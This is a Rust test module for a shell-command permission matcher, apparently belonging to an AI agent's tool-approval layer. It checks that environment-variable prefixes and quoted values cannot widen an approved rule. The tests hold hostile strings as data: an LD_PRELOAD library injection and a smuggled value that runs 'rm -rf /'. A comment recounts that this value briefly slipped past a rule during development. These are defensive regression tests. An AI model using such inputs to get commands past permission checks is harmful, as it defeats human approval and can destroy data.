832            "WRITE=1 ~/runner-scripts/x.sh", "WRITE=1 ~/runner-scripts/x.sh --project p", "PROJECT=p ~/runner-scripts/x.sh",
833            "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
834        ] {
835            assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
836        }
837    }
838
839    #[test]
840    fn a_rule_that_declares_the_env_prefix_matches_it() {
841        // The form already in the user's settings for deliberately-approved mutations.
842        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
843        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
844        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
845        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
846        // ...but only THAT assignment; a different one is a different command.
847        assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
848        assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
849    }
850
851    #[test]
852    fn every_assignment_must_be_accounted_for() {
853        let m = matcher(&["A=1 tool:*"]);
854        assert!(m.matches_cmd(&cmd("A=1 tool")));
855        // A second assignment the rule never mentioned makes it a different command.
856        assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
857        assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
858    }
859
860    #[test]
861    fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
862        let exact = matcher(&["tool run"]);
863        assert!(exact.matches_cmd(&cmd("tool run")));
864        assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
865    }
866
867    /// An env VALUE containing whitespace has no unambiguous flat rendering, and assignments sit
868    /// BEFORE the program name — so a value that swallows the rest of a pattern would let a rule
869    /// for one program match a different one. This was live for a few minutes during development:
870    /// `Bash(WRITE=1 ~/runner-scripts/x.sh:*)` matched `WRITE='1 ~/runner-scripts/x.sh' rm -rf /`,
871    /// which runs `rm`. Such a command now matches nothing.
872    #[test]
873    fn a_value_containing_whitespace_matches_no_rule() {
874        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
875        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
876        assert!(
877            !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
878            "a spaced value smuggled the pattern and matched a different program",
879        );
880
881        // Same shape without the glob: two different programs must not share a rendering.
882        let n = matcher(&["FOO=bar baz ls"]);
883        assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); // runs `baz`
884        assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); // runs `ls`
885    }
886
887    /// Quoted WORDS keep matching — `git commit -m 'a message'` is ordinary, and a quoted argument
888    /// cannot change which program runs, since the program is the first word either way. Only the
889    /// pre-program assignments are refused.
890    #[test]
891    fn a_quoted_word_still_matches() {
892        let m = matcher(&["git commit -m:*"]);
893        assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
894    }
895
896    /// The property, over every rule shape the matcher supports: if a command matches a rule, then
897    /// the same command with ANY assignment prepended must not — unless the rule declares it.
898    /// Stated generally so a future pattern form cannot reintroduce the hole for one spelling.
899    #[test]
900    fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
901        let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
902        let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
903        let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
904
905        let mut checked = 0;
906        for rule in rules {
907            let m = matcher(&[rule]);
908            for c in commands {
909                if !m.matches_cmd(&cmd(c)) {
910                    continue; // only meaningful where the bare command DOES match
911                }
912                for a in assignments {
913                    let prefixed = format!("{a} {c}");
914                    assert!(!m.matches_cmd(&cmd(&prefixed)), "rule `{rule}` matched `{prefixed}` without declaring `{a}`",);
915                    checked += 1;
916                }
917            }
918        }
919        assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
920    }
921
922    proptest::proptest! {
923        /// An empty or root HOME means there is no home to canonicalize to. Expanding `~/x`
924        /// against one produced `/x`, a different file, so a grant for either would cover both.
925        #[test]
926        fn without_a_usable_home_every_word_is_left_alone(
927            text in "[~]/[a-z]{0,8}( [~]?/?[a-z.]{0,10}){0,4}",
928            home in proptest::prop_oneof![proptest::strategy::Just(""), proptest::strategy::Just("/")],
929        ) {
930            proptest::prop_assert_eq!(canonicalize_home(&text, home), text);
931        }
932
933        /// A bare `~` and a leading `~/` both name the home directory, with or without a trailing
934        /// slash on HOME, so a grant spelled absolutely covers either.
935        #[test]
936        fn a_usable_home_expands_both_tilde_spellings(
937            home in "/[a-z]{1,8}(/[a-z]{1,8}){0,2}",
938            slash in proptest::bool::ANY,
939            rest in "[a-z.]{1,10}",
940        ) {
941            let given = if slash { format!("{home}/") } else { home.clone() };
942            let text = format!("ls ~ ~/{rest}");
943            proptest::prop_assert_eq!(canonicalize_home(&text, &given), format!("ls {home} {home}/{rest}"));
944        }
945    }
946}
947
948#[cfg(test)]
949mod rule_scope_tests;